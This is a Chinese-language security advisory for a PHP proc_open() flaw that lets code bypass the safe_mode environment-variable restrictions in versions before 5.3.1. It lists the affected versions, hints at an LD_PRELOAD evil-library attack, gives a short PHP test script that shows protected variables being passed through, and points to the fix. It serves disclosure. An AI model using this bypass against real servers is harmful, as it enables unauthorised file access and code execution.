PHP ‘proc_open()’ ‘safe_mode_protected_env_var’限制绕过漏洞

漏洞起因
设计错误
 
影响系统
PHP PHP 5.3
PHP PHP 5.2.11
PHP PHP 5.2.10
PHP PHP 5.2.9 -2
PHP PHP 5.2.9
PHP PHP 5.2.8
PHP PHP 5.2.7
PHP PHP 5.2.6
PHP PHP 5.2.5
PHP PHP 5.2.4
PHP PHP 5.2.3
PHP PHP 5.2.2
PHP PHP 5.2.1
PHP PHP 5.1.6
PHP PHP 5.1.5
PHP PHP 5.1.4
PHP PHP 5.1.3
PHP PHP 5.1.3
PHP PHP 5.1.2
PHP PHP 5.1.1
PHP PHP 5.1
PHP PHP 5.0.5
PHP PHP 5.0.4
PHP PHP 5.0.3
PHP PHP 5.0.2
PHP PHP 5.0.1
PHP PHP 5.0 candidate 3
PHP PHP 5.0 candidate 2
PHP PHP 5.0 candidate 1
PHP PHP 5.0 .0
PHP PHP 5.2
 
不受影响系统
PHP PHP 5.3.1
 
危害
远程攻击者可以利用漏洞绕过safe_mode安全限制。
 
攻击所需条件
攻击者必须构建恶意WEB页,诱使用户解析。
 
漏洞信息
PHP是一款流行的网络编程语言。
PHP 5.3.1之前版本proc_open()可用于绕过safe_mode_protected_env_vars INI设置,攻击者可以借此漏洞更改进程环境执行任意代码。
对传递给proc_open的环境变量缺少充分检查,可导致忽略safe_mode_allowed_env_vars和safe_mode_protected_env_vars。因此可能通过使用"LD_PRELOAD=evil_library.so"和缓冲区溢出攻击可绕过safe_mode限制,以apache uid访问任意文件。
 
测试方法
<?
putenv("BLAHBLAH=123");
putenv("LD_LIBRARY_PATH=/no/way");
putenv("PHP_TESTVAR=allowed");
$env = array(‘BLAHBLAH’ => ‘123’, ‘LD_LIBRARY_PATH’ => ‘/no/way’,
‘PHP_TESTVAR’ => ‘allowed’);
$dptspec = array(0 => array("pipe", "r"),
                 1 => array("pipe", "w"));
$fp = proc_open(‘env’, $dptspec, $pipes, ‘./’, $env);
echo "<pre>";
while(!feof($pipes[1])) echo fgets($pipes[1], 1024);
fclose($pipes[1]);
echo "</pre>";
?>
 
厂商解决方案
PHP 5.3.1已经修复此漏洞,建议用户下载使用:
http://www.php.net/
 
漏洞提供者
virus@tgu.ru

发表评论?

0 条评论。

发表评论